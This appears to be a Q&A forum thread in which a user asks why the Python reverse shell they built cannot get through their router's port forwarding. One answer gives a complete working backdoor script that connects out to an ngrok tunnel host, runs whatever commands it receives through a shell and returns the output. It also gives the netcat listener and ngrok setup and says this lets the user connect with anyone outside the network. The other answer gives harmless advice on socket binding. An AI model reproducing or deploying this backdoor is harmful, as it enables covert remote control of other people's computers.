1

i create a reverse shell with python and i have a problem with my router in port forwarding.

I don't have any static ip.

In router:

Protocol: TCP

Lochealipaddr: 192.168.1.10

Localport: 8090

Wanipaddr: ---

Wanport: 8090

state: enable

in my python script i cant bind on my wan ip address

ST.bind((Wanipaddr, 8090))

if i binding on localipaddr my reverse shell client can't connect to the server

whats my problem solution??

thanks

D.H
  • 37
  • 1
  • 7

2 Answers2

1

if you want to use your backdoor to receive connections outside LAN use ngrok

example:

1- lets listen on port 4444:

nc -lp 4444

2- after ngrok is installed you will run this command:

ngrok tcp 444

3- now find the ngrok address

ngrok address

4- use your ngrok address to the client connect

# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
     conn = s.recv(2048).decode()
     if conn[:3] == 'cd ':
         os.chdir(conn[3:])
         cmd = ''
     else:
         proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
         stdout, stderr = proc.communicate()
         cmd = stdout+stderr
     cmd += str('\n'+os.getcwd()).encode()
     s.send(cmd)

5- now you can connect with anyone outside your network

shell

0

It sounds like your router is configured to forward requests from the internet on port 8090 to your host (assuming you have the correct LAN IP). Perhaps just try binding to 0.0.0.0.

From wikipedia, it fits this context:

A way to specify "any IPv4 address at all". It is used in this way when configuring servers (i.e. when binding listening sockets).

In other words, you're telling your server to essentially listen on every available network interface (on that port).

Gray
  • 7,050
  • 2
  • 29
  • 52